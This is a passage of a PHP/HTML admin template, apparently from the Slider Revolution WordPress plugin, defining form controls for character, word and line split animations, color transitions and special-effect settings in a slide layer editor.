									<onelong><label_icon class="ui_splitdirection"></label_icon><select data-theme="min120" id="le_frame_chars_txtsplitdirection" class="layerinput tos2 nosearchbox easyinit" data-r="#frame#.chars.direction"><option value="forward"><?php _e('Forward', 'revslider');?></option><option value="backward"><?php _e('Backward', 'revslider');?></option><option value="middletoedge"><?php _e('Middle To Edge', 'revslider');?></option><option value="edgetomiddle"><?php _e('Edge to Middle', 'revslider');?></option><option value="random"><?php _e('Random', 'revslider');?></option></select></onelong>
									<oneshort><label_icon class="ui_splitdelay"></label_icon><input data-numeric="true"  id="le_frame_chars_splitdelay" class="layerinput valueduekeyboard smallinput easyinit callEvent"  data-evt="updateLayerFrame" data-allowed="" data-r="#frame#.chars.delay" data-min="0" data-max="99999" type="text"></oneshort>
									<label_icon class="ui_easing_in singlerow"></label_icon><select id="chars_appear_ease" class="layerinput tos2 nosearchbox easyinit easingSelect" data-inherit="true" data-r="#frame#.chars.ease"></select>
								</row>
								<label_icon class="ui_opacity singlerow"></label_icon><input id="le_frame_chars_opacity" class="layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="inherit,random" data-presets_text="$I$Inherit!$R$Random {min,max}!$C$Custom" data-presets_val="inherit!{0,1}!0.5" data-r="#frame#.chars.opacity" data-min="0" data-max="1" data-steps="0.05" type="text">
								<div class="div10"></div>
								<row class="direktrow">
									<onelong class="dyn_inp_wrap"><label_icon class="ui_x"></label_icon><input data-numeric="true" id="le_frame_chars_x" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets"  data-allowed="px,%,random,cycle,left,right,center,inherit" data-responsive="true" data-r="#frame#.chars.x.#size#.v"  data-presets_text="$C$px!$C$%!$I$Inherit!$R$Random {min,max}!$SL$Wrapper Left!$SR$Wrapper Right!$BV$Wrapper Center!$CY$Cycles [val|val|val]" data-presets_val="50px!100%!inherit!{-20,20}!left!right!center![-50|50]" type="text"></onelong>
									<oneshort class="dyn_inp_wrap"><label_icon class="ui_y"></label_icon><input data-numeric="true"  id="le_frame_chars_y" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets"  data-allowed="px,%,random,cycle,top,bottom,middle,inherit" data-responsive="true" data-r="#frame#.chars.y.#size#.v" data-presets_text="$C$px!$C$%!$I$Inherit!$R$Random {min,max}!$ST$Wrapper Top!$SB$Wrapper Bottom!$BH$Wrapper Middle!$CY$Cycles [val|val|val]" data-presets_val="50px!100%!inherit!{-20,20}!top!bottom!center![-50|50]" type="text"></oneshort>
								</row>
								<row class="direktrow">
									<onelong class="dyn_inp_wrap"><label_icon class="ui_z"></label_icon><input id="le_frame_chars_z" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="px,random,cycle,inherit" data-r="#frame#.chars.z"  data-presets_text="$C$px!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="50px!inherit!{0,2}![-50|50]" type="text"></onelong>
									<oneshort></oneshort>
								</row>
								<div class="div10"></div>
								<row class="direktrow">
									<onelong class="dyn_inp_wrap"><label_icon class="ui_scalex"></label_icon><input id="le_frame_chars_scale_x" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="random,cycle,inherit" data-presets_text="$C$1!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="1!inherit!{0,2}![0.5|1]" data-r="#frame#.chars.scaleX"  data-steps="0.05" type="text"></onelong>
									<oneshort class="dyn_inp_wrap"><label_icon class="ui_scaley"></label_icon><input id="le_frame_chars_scale_y" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="random,cycle,inherit" data-presets_text="$C$1!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="1!inherit!{0,2}![0.5|1]" data-r="#frame#.chars.scaleY"  data-steps="0.05" type="text"></oneshort>
								</row>
								<row class="direktrow">
									<onelong class="dyn_inp_wrap"><label_icon class="ui_skewx"></label_icon><input id="le_frame_chars_skew_x" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="px,random,cycle,inherit" data-presets_text="$C$px!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="50px!inherit!{0,2}![-50|50]" data-r="#frame#.chars.skewX"  data-steps="0.05" type="text"></onelong>
									<oneshort class="dyn_inp_wrap"><label_icon class="ui_skewy"></label_icon><input id="le_frame_chars_skew_y" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="px,random,cycle,inherit" data-presets_text="$C$px!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="50px!inherit!{0,2}![-50|50]" data-r="#frame#.chars.skewY" data-steps="0.05"  type="text"></oneshort>
								</row>
								<div class="div10"></div>
								<row class="direktrow">
									<onelong class="dyn_inp_wrap"><label_icon class="ui_rotatex"></label_icon><input id="le_frame_chars_rotate_x" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="deg,random,cycle,inherit" data-presets_text="$C$px!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="50deg!inherit!{-15,15}![-50|50]" data-r="#frame#.chars.rotationX" type="text"></onelong>
									<oneshort class="dyn_inp_wrap"><label_icon class="ui_rotatey"></label_icon><input id="le_frame_chars_rotate_y" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets " data-numeric="true" data-allowed="deg,random,cycle,inherit" data-presets_text="$C$px!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="50deg!inherit!{-15,15}![-50|50]" data-r="#frame#.chars.rotationY" type="text"></oneshort>
								</row>
								<row class="direktrow">
									<onelong class="dyn_inp_wrap"><label_icon class="ui_rotatez"></label_icon><input id="le_frame_chars_rotate_z" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="deg,random,cycle,inherit" data-presets_text="$C$px!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="50deg!inherit!{-15,15}![-50|50]" data-r="#frame#.chars.rotationZ" type="text"></onelong>
									<oneshort></oneshort>
								</row>
								<row class="direktrow">
									<onelong><label_icon class="ui_origox"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px,%,inherit" data-r="#frame#.chars.originX" data-min="-3600" data-max="3600" type="text"></onelong>
									<oneshort><label_icon class="ui_origoy"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px,%,inherit" data-r="#frame#.chars.originY" data-min="-3600" data-max="3600" type="text"></oneshort>
								</row>
								<row class="direktrow">
									<onelong><label_icon class="ui_origoz"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px,%,inherit" data-r="#frame#.chars.originZ" data-min="-3600" data-max="3600" type="text"></onelong>
									<oneshort></oneshort>
								</row>
								<div class="div15"></div>
								<div class="form_inner_header innerwrap_breakout"><i class="material-icons">auto_awesome</i><?php _e('Char Filter', 'revslider');?></div>
								<div class="div15"></div>
								<row class="direktrow">
									<onelong><label_a><?php _e('Use Filter', 'revslider');?></label_a><input type="checkbox" data-showhide="._ltsel_chars_filter" data-showhidedep="true" class="layerinput easyinit" data-r="#frame#.chars.fuse"/></onelong>
									<oneshort class="_ltsel_chars_filter"><label_icon class="ui_blur"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px" data-min="0" data-max="500" data-r="#frame#.chars.blur" type="text"></oneshort>									
								</row>
								<row class="direktrow">
									<onelong class="_ltsel_chars_filter"><label_icon class="ui_grayscale"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="%" data-min="0" data-max="100" data-r="#frame#.chars.grayscale" type="text"></onelong>
									<oneshort class="_ltsel_chars_filter"><label_icon class="ui_brightness"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="%" data-min="0" data-max="10000" data-r="#frame#.chars.brightness" type="text"></oneshort>
								</row>
								<div class="div15"></div>
								<!-- REVERSE ANIMATIONS -->
								<div class="show_on_frame_0 show_on_frame_999">
									<div class="form_inner_header innerwrap_breakout"><i class="material-icons">settings_ethernet</i><?php _e('Slide Direction based Mirroring', 'revslider');?></div>

									<div class="div15"></div>
									<row class="direktrow">
										<onelong><label_icon class="ui_x"></label_icon><input type="checkbox" class="easyinit layerinput" data-r="#frame#.reverseDirection.charsX"></onelong>
										<oneshort><label_icon class="ui_y"></label_icon><input type="checkbox" class="easyinit layerinput" data-r="#frame#.reverseDirection.charsY"></oneshort>
									</row>
									<row>
										<onelong><label_icon class="ui_splitdirection"></label_icon><input type="checkbox" class="easyinit layerinput" data-r="#frame#.reverseDirection.charsDirection"></onelong>
										<oneshort></oneshort>
									</row>
								</div>
							</div>
						</div>
						<!-- WORDS TRANSFORMATIONS -->
						<div id="words_transsettings" class="group_transsettings" style="display:none">
							<label_a><?php _e('Split Words', 'revslider');?></label_a><input type="checkbox" data-showhide="#_ltsel_word" data-showhidedep="true" class="layerinput easyinit callEvent" data-evt="checkEnterFrameLevels" data-r="#frame#.words.use" />
							<div id="_ltsel_word">
								<row class="direktrow nosfxanim hide_on_frame_0">
									<onelong><label_icon class="ui_splitdirection"></label_icon><select data-theme="min120" id="le_frame_words_txtsplitdirection" class="layerinput tos2 nosearchbox easyinit" data-r="#frame#.words.direction"><option value="forward"><?php _e('Forward', 'revslider');?></option><option value="backward"><?php _e('Backward', 'revslider');?></option><option value="middletoedge"><?php _e('Middle To Edge', 'revslider');?></option><option value="edgetomiddle"><?php _e('Edge to Middle', 'revslider');?></option><option value="random"><?php _e('Random', 'revslider');?></option></select></onelong>
									<oneshort><label_icon class="ui_splitdelay"></label_icon><input data-numeric="true"  id="le_frame_words_splitdelay" class="layerinput valueduekeyboard smallinput easyinit callEvent"  data-evt="updateLayerFrame" data-allowed="" data-r="#frame#.words.delay" data-min="0" data-max="99999" type="text"></oneshort>
									<label_icon class="ui_easing_in singlerow"></label_icon><select id="words_appear_ease" class="layerinput tos2 nosearchbox easyinit easingSelect" data-inherit="true" data-r="#frame#.words.ease"></select>
								</row>
								<label_icon class="ui_opacity singlerow"></label_icon><input id="le_frame_words_opacity" class="layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="inherit,random" data-presets_text="$I$Inherit!$R$Random {min,max}!$C$Custom" data-presets_val="inherit!{0,1}!0.5" data-r="#frame#.words.opacity" data-min="0" data-max="1" data-steps="0.05" type="text">
								<div class="div10"></div>
								<row class="direktrow">
									<onelong class="dyn_inp_wrap"><label_icon class="ui_x"></label_icon><input data-numeric="true" id="le_frame_words_x" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets"  data-allowed="px,%,random,cycle,left,right,center,inherit" data-responsive="true" data-r="#frame#.words.x.#size#.v"  data-presets_text="$C$px!$C$%!$I$Inherit!$R$Random {min,max}!$SL$Wrapper Left!$SR$Wrapper Right!$BV$Wrapper Center!$CY$Cycles [val|val|val]" data-presets_val="50px!100%!inherit!{-15,15}!left!right!center![-50|50]" type="text"></onelong>
									<oneshort class="dyn_inp_wrap"><label_icon class="ui_y"></label_icon><input data-numeric="true"  id="le_frame_words_y" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets"  data-allowed="px,%,random,cycle,top,bottom,middle,inherit,center" data-responsive="true" data-r="#frame#.words.y.#size#.v" data-presets_text="$C$px!$C$%!$I$Inherit!$R$Random {min,max}!$ST$Wrapper Top!$SB$Wrapper Bottom!$BH$Wrapper Middle!$CY$Cycles [val|val|val]" data-presets_val="50px!100%!inherit!{-15,15}!top!bottom!center![-50|50]" type="text"></oneshort>
								</row>
								<row class="direktrow">
									<onelong class="dyn_inp_wrap"><label_icon class="ui_z"></label_icon><input id="le_frame_words_z" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="px,random,cycle,inherit" data-r="#frame#.words.z"  data-presets_text="$C$px!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="50px!inherit!{-50,50}![-50|50]" type="text"></onelong>
									<oneshort></oneshort>
								</row>
								<div class="div10"></div>
								<row class="direktrow">
									<onelong class="dyn_inp_wrap"><label_icon class="ui_scalex"></label_icon><input id="le_frame_words_scale_x" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="random,cycle,inherit" data-presets_text="$C$1!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="1!inherit!{0,2}![0.5|1]" data-r="#frame#.words.scaleX"  data-steps="0.05" type="text"></onelong>
									<oneshort class="dyn_inp_wrap"><label_icon class="ui_scaley"></label_icon><input id="le_frame_words_scale_y" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="random,cycle,inherit" data-presets_text="$C$1!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="1!inherit!{0,2}![0.5|1]" data-r="#frame#.words.scaleY"  data-steps="0.05" type="text"></oneshort>
								</row>
								<row class="direktrow">
									<onelong class="dyn_inp_wrap"><label_icon class="ui_skewx"></label_icon><input id="le_frame_words_skew_x" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="px,random,cycle,inherit" data-presets_text="$C$px!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="50px!inherit!{0,2}![-50|50]" data-r="#frame#.words.skewX" data-steps="0.05"  type="text"></onelong>
									<oneshort class="dyn_inp_wrap"><label_icon class="ui_skewy"></label_icon><input id="le_frame_words_skew_y" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="px,random,cycle,inherit" data-presets_text="$C$px!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="50px!inherit!{0,2}![-50|50]" data-r="#frame#.words.skewY" data-steps="0.05" type="text"></oneshort>
								</row>
								<div class="div10"></div>
								<row class="direktrow">
									<onelong class="dyn_inp_wrap"><label_icon class="ui_rotatex"></label_icon><input id="le_frame_words_rotate_x" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="deg,random,cycle,inherit" data-presets_text="$C$px!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="50deg!inherit!{-15,15}![-50|50]" data-r="#frame#.words.rotationX" type="text"></onelong>
									<oneshort class="dyn_inp_wrap"><label_icon class="ui_rotatey"></label_icon><input id="le_frame_words_rotate_y" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets " data-numeric="true" data-allowed="deg,random,cycle,inherit" data-presets_text="$C$px!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="50deg!inherit!{-15,15}![-50|50]" data-r="#frame#.words.rotationY" type="text"></oneshort>
								</row>
								<row class="direktrow">
									<onelong class="dyn_inp_wrap"><label_icon class="ui_rotatez"></label_icon><input id="le_frame_words_rotate_z" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="deg,random,cycle,inherit" data-presets_text="$C$px!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="50deg!inherit!{-15,15}![-50|50]" data-r="#frame#.words.rotationZ" type="text"></onelong>
									<oneshort></oneshort>
								</row>
								<row class="direktrow">
									<onelong><label_icon class="ui_origox"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px,%,inherit" data-r="#frame#.words.originX" data-min="-3600" data-max="3600" type="text"></onelong>
									<oneshort><label_icon class="ui_origoy"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px,%,inherit" data-r="#frame#.words.originY" data-min="-3600" data-max="3600" type="text"></oneshort>
								</row>
								<row class="direktrow">
									<onelong><label_icon class="ui_origoz"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px,%,inherit" data-r="#frame#.words.originZ" data-min="-3600" data-max="3600" type="text"></onelong>
									<oneshort></oneshort>
								</row>
								<div class="div15"></div>
								<div class="form_inner_header innerwrap_breakout"><i class="material-icons">auto_awesome</i><?php _e('Word Filter', 'revslider');?></div>
								<div class="div15"></div>
								<row class="direktrow">
									<onelong><label_a><?php _e('Use Filter', 'revslider');?></label_a><input type="checkbox" data-showhide="._ltsel_words_filter" data-showhidedep="true" class="layerinput easyinit" data-r="#frame#.words.fuse"/></onelong>
									<oneshort class="_ltsel_words_filter"><label_icon class="ui_blur"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px" data-min="0" data-max="500" data-r="#frame#.words.blur" type="text"></oneshort>									
								</row>
								<row class="direktrow">
									<onelong class="_ltsel_words_filter"><label_icon class="ui_grayscale"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="%" data-min="0" data-max="100" data-r="#frame#.words.grayscale" type="text"></onelong>
									<oneshort class="_ltsel_words_filter"><label_icon class="ui_brightness"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="%" data-min="0" data-max="10000" data-r="#frame#.words.brightness" type="text"></oneshort>
								</row>
								<div class="div15"></div>
								<!-- REVERSE ANIMATIONS -->
								<div class="show_on_frame_0 show_on_frame_999">
									<div class="form_inner_header innerwrap_breakout"><i class="material-icons">settings_ethernet</i><?php _e('Slide Direction based Mirroring', 'revslider');?></div>

									<div class="div15"></div>
									<row class="direktrow">
										<onelong><label_icon class="ui_x"></label_icon><input type="checkbox" class="easyinit layerinput" data-r="#frame#.reverseDirection.wordsX"></onelong>
										<oneshort><label_icon class="ui_y"></label_icon><input type="checkbox" class="easyinit layerinput" data-r="#frame#.reverseDirection.wordsY"></oneshort>
									</row>
									<row>
										<onelong><label_icon class="ui_splitdirection"></label_icon><input type="checkbox" class="easyinit layerinput" data-r="#frame#.reverseDirection.wordsDirection"></onelong>
										<oneshort></oneshort>
									</row>
								</div>
							</div>
						</div>
						<!-- LINES TRANSFORMATIONS -->
						<div id="lines_transsettings" class="group_transsettings" style="display:none">
							<label_a><?php _e('Split Lines', 'revslider');?></label_a><input type="checkbox" data-showhide="#_ltsel_line" data-showhidedep="true" class="layerinput easyinit callEvent" data-evt="checkEnterFrameLevels" data-r="#frame#.lines.use" />
							<div id="_ltsel_line">
								<row class="direktrow nosfxanim hide_on_frame_0">
									<onelong><label_icon class="ui_splitdirection"></label_icon><select data-theme="min120" id="le_frame_lines_txtsplitdirection" class="layerinput tos2 nosearchbox easyinit" data-r="#frame#.lines.direction"><option value="forward"><?php _e('Forward', 'revslider');?></option><option value="backward"><?php _e('Backward', 'revslider');?></option><option value="middletoedge"><?php _e('Middle To Edge', 'revslider');?></option><option value="edgetomiddle"><?php _e('Edge to Middle', 'revslider');?></option><option value="random"><?php _e('Random', 'revslider');?></option></select></onelong>
									<oneshort><label_icon class="ui_splitdelay"></label_icon><input data-numeric="true"  id="le_frame_lines_splitdelay" class="layerinput valueduekeyboard smallinput easyinit callEvent"  data-evt="updateLayerFrame" data-allowed="" data-r="#frame#.lines.delay" data-min="0" data-max="99999" type="text"></oneshort>
									<label_icon class="ui_easing_in singlerow"></label_icon><select id="lines_appear_ease" class="layerinput tos2 nosearchbox easyinit easingSelect" data-inherit="true" data-r="#frame#.lines.ease"></select>
								</row>
								<label_icon class="ui_opacity singlerow"></label_icon><input id="le_frame_lines_opacity" class="layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="inherit,random" data-presets_text="$I$Inherit!$R$Random {min,max}!$C$Custom" data-presets_val="inherit!{0,1}!0.5" data-r="#frame#.lines.opacity" data-min="0" data-max="1" data-steps="0.05" type="text">
								<div class="div10"></div>
								<row class="direktrow">
									<onelong class="dyn_inp_wrap"><label_icon class="ui_x"></label_icon><input data-numeric="true" id="le_frame_lines_x" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets"  data-allowed="px,%,random,cycle,left,right,center,inherit" data-responsive="true" data-r="#frame#.lines.x.#size#.v"  data-presets_text="$C$px!$C$%!$I$Inherit!$R$Random {min,max}!$SL$Wrapper Left!$SR$Wrapper Right!$BV$Wrapper Center!$CY$Cycles [val|val|val]" data-presets_val="50px!100%!inherit!{-20,20}!left!right!center![-50|50]" type="text"></onelong>
									<oneshort class="dyn_inp_wrap"><label_icon class="ui_y"></label_icon><input data-numeric="true"  id="le_frame_lines_y" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets"  data-allowed="px,%,random,cycle,top,bottom,middle,inherit,center" data-responsive="true" data-r="#frame#.lines.y.#size#.v" data-presets_text="$C$px!$C$%!$I$Inherit!$R$Random {min,max}!$ST$Wrapper Top!$SB$Wrapper Bottom!$BH$Wrapper Middle!$CY$Cycles [val|val|val]" data-presets_val="50px!100%!inherit!{-20,20}!top!bottom!center![-50|50]" type="text"></oneshort>
								</row>
								<row class="direktrow">
									<onelong class="dyn_inp_wrap"><label_icon class="ui_z"></label_icon><input id="le_frame_lines_z" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="px,random,cycle,inherit" data-r="#frame#.lines.z"  data-presets_text="$C$px!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="50px!inherit!{-20,20}![-50|50]" type="text"></onelong>
									<oneshort></oneshort>
								</row>
								<div class="div10"></div>
								<row class="direktrow">
									<onelong class="dyn_inp_wrap"><label_icon class="ui_scalex"></label_icon><input id="le_frame_lines_scale_x" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="random,cycle,inherit" data-presets_text="$C$1!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="1!inherit!{0,2}![0.5|1]" data-r="#frame#.lines.scaleX" data-steps="0.05" type="text"></onelong>
									<oneshort class="dyn_inp_wrap"><label_icon class="ui_scaley"></label_icon><input id="le_frame_lines_scale_y" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="random,cycle,inherit" data-presets_text="$C$1!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="1!inherit!{0,2}![0.5|1]" data-r="#frame#.lines.scaleY" data-steps="0.05" type="text"></oneshort>
								</row>
								<row class="direktrow">
									<onelong class="dyn_inp_wrap"><label_icon class="ui_skewx"></label_icon><input id="le_frame_lines_skew_x" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="px,random,cycle,inherit" data-presets_text="$C$px!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="50px!inherit!{0,2}![-50|50]" data-r="#frame#.lines.skewX" data-steps="0.05" type="text"></onelong>
									<oneshort class="dyn_inp_wrap"><label_icon class="ui_skewy"></label_icon><input id="le_frame_lines_skew_y" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="px,random,cycle,inherit" data-presets_text="$C$px!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="50px!inherit!{0,2}![-50|50]" data-r="#frame#.lines.skewY" data-steps="0.05" type="text"></oneshort>
								</row>
								<div class="div10"></div>
								<row class="direktrow">
									<onelong class="dyn_inp_wrap"><label_icon class="ui_rotatex"></label_icon><input id="le_frame_lines_rotate_x" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="deg,random,cycle,inherit" data-presets_text="$C$px!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="50deg!inherit!{-15,15}![-50|50]" data-r="#frame#.lines.rotationX" type="text"></onelong>
									<oneshort class="dyn_inp_wrap"><label_icon class="ui_rotatey"></label_icon><input id="le_frame_lines_rotate_y" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets " data-numeric="true" data-allowed="deg,random,cycle,inherit" data-presets_text="$C$px!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="50deg!inherit!{-15,15}![-50|50]" data-r="#frame#.lines.rotationY" type="text"></oneshort>
								</row>
								<row class="direktrow">
									<onelong class="dyn_inp_wrap"><label_icon class="ui_rotatez"></label_icon><input id="le_frame_lines_rotate_z" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="deg,random,cycle,inherit" data-presets_text="$C$px!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="50deg!inherit!{-15,15}![-50|50]" data-r="#frame#.lines.rotationZ" type="text"></onelong>
									<oneshort></oneshort>
								</row>
								<row class="direktrow">
									<onelong><label_icon class="ui_origox"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px,%,inherit" data-r="#frame#.lines.originX" data-min="-3600" data-max="3600" type="text"></onelong>
									<oneshort><label_icon class="ui_origoy"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px,%,inherit" data-r="#frame#.lines.originY" data-min="-3600" data-max="3600" type="text"></oneshort>
								</row>
								<row class="direktrow">
									<onelong><label_icon class="ui_origoz"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px,%,inherit" data-r="#frame#.lines.originZ" data-min="-3600" data-max="3600" type="text"></onelong>
									<oneshort></oneshort>
								</row>
								<div class="div15"></div>
								<div class="form_inner_header innerwrap_breakout"><i class="material-icons">auto_awesome</i><?php _e('Line Filter', 'revslider');?></div>
								<div class="div15"></div>
								<row class="direktrow">
									<onelong><label_a><?php _e('Use Filter', 'revslider');?></label_a><input type="checkbox" data-showhide="._ltsel_lines_filter" data-showhidedep="true" class="layerinput easyinit" data-r="#frame#.lines.fuse"/></onelong>
									<oneshort class="_ltsel_lines_filter"><label_icon class="ui_blur"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px" data-min="0" data-max="500" data-r="#frame#.lines.blur" type="text"></oneshort>									
								</row>
								<row class="direktrow">
									<onelong class="_ltsel_lines_filter"><label_icon class="ui_grayscale"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="%" data-min="0" data-max="100" data-r="#frame#.lines.grayscale" type="text"></onelong>
									<oneshort class="_ltsel_lines_filter"><label_icon class="ui_brightness"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="%" data-min="0" data-max="10000" data-r="#frame#.lines.brightness" type="text"></oneshort>
								</row>
								<div class="div15"></div>
								<!-- REVERSE ANIMATIONS -->
								<div class="show_on_frame_0 show_on_frame_999">
									<div class="form_inner_header innerwrap_breakout"><i class="material-icons">settings_ethernet</i><?php _e('Slide Direction based Mirroring', 'revslider');?></div>

									<div class="div15"></div>
									<row class="direktrow">
										<onelong><label_icon class="ui_x"></label_icon><input type="checkbox" class="easyinit layerinput" data-r="#frame#.reverseDirection.linesX"></onelong>
										<oneshort><label_icon class="ui_y"></label_icon><input type="checkbox" class="easyinit layerinput" data-r="#frame#.reverseDirection.linesY"></oneshort>
									</row>
									<row>
										<onelong><label_icon class="ui_splitdirection"></label_icon><input type="checkbox" class="easyinit layerinput" data-r="#frame#.reverseDirection.linesDirection"></onelong>
										<oneshort></oneshort>
									</row>
								</div>
							</div>
						</div>
						

						<!-- COLOR TRANSFORMATIONS-->
						<div id="color_transsettings" class="group_transsettings" style="display:none">

							<label_a><?php _e('Text', 'revslider');?></label_a><input type="checkbox" data-showhide="._ltsel_color" data-showhidedep="true" class="layerinput callEvent easyinit" data-evt="checkEnterFrameLevels" data-r="#frame#.color.use"/>
							<div class="_ltsel_color">
								<label_a><?php _e('Color', 'revslider');?></label_a><input type="text" data-editing="Frame Color Animation" data-mode="single" name="frameColorAnimation" id="frameColorAnimation" class="my-color-field layerinput easyinit" data-visible="true" data-r="#frame#.color.color" value="transparent">
								<div class="div20"></div>
							</div>
							<div class="linebreak"></div>
							<label_a><?php _e('Background', 'revslider');?></label_a><input type="checkbox" data-showhide="._ltsel_bgcolor" data-showhidedep="true" class="layerinput callEvent easyinit" data-evt="checkEnterFrameLevels" data-r="#frame#.bgcolor.use"/>
							<div class="_ltsel_bgcolor">
								<label_a><?php _e('Color', 'revslider');?></label_a><input type="text" data-editing="Frame BG Color Animation" name="frameBGColorAnimation" id="frameBGColorAnimation" class="my-color-field layerinput easyinit" data-visible="true" data-r="#frame#.bgcolor.backgroundColor" value="transparent">
							</div>
						</div>

						<!-- LAYER FRAME TRANSFORM -->
						<div id="sfx_transsettings" class="group_transsettings" style="display:none">
							<label_a><?php _e('Effect', 'revslider');?></label_a><select id="layer_frame_sfx" class="layerinput easyinit nosearchbox tos2"  data-show=".sfx_*val*" data-hide=".sfx_allparameters" data-r="#frame#.sfx.effect"><option value="none"><?php _e('No Special Effect', 'revslider');?></option><option value="blocktoleft"><?php _e('Block to Left', 'revslider');?></option><option value="blocktoright"><?php _e('Block to Right', 'revslider');?></option><option value="blocktotop"><?php _e('Block to Top', 'revslider');?></option><option value="blocktobottom"><?php _e('Block to Bottom', 'revslider');?></option></select>
							<div class="sfx_blocktoleft sfx_blocktoright sfx_blocktotop sfx_blocktobottom sfx_allparameters">
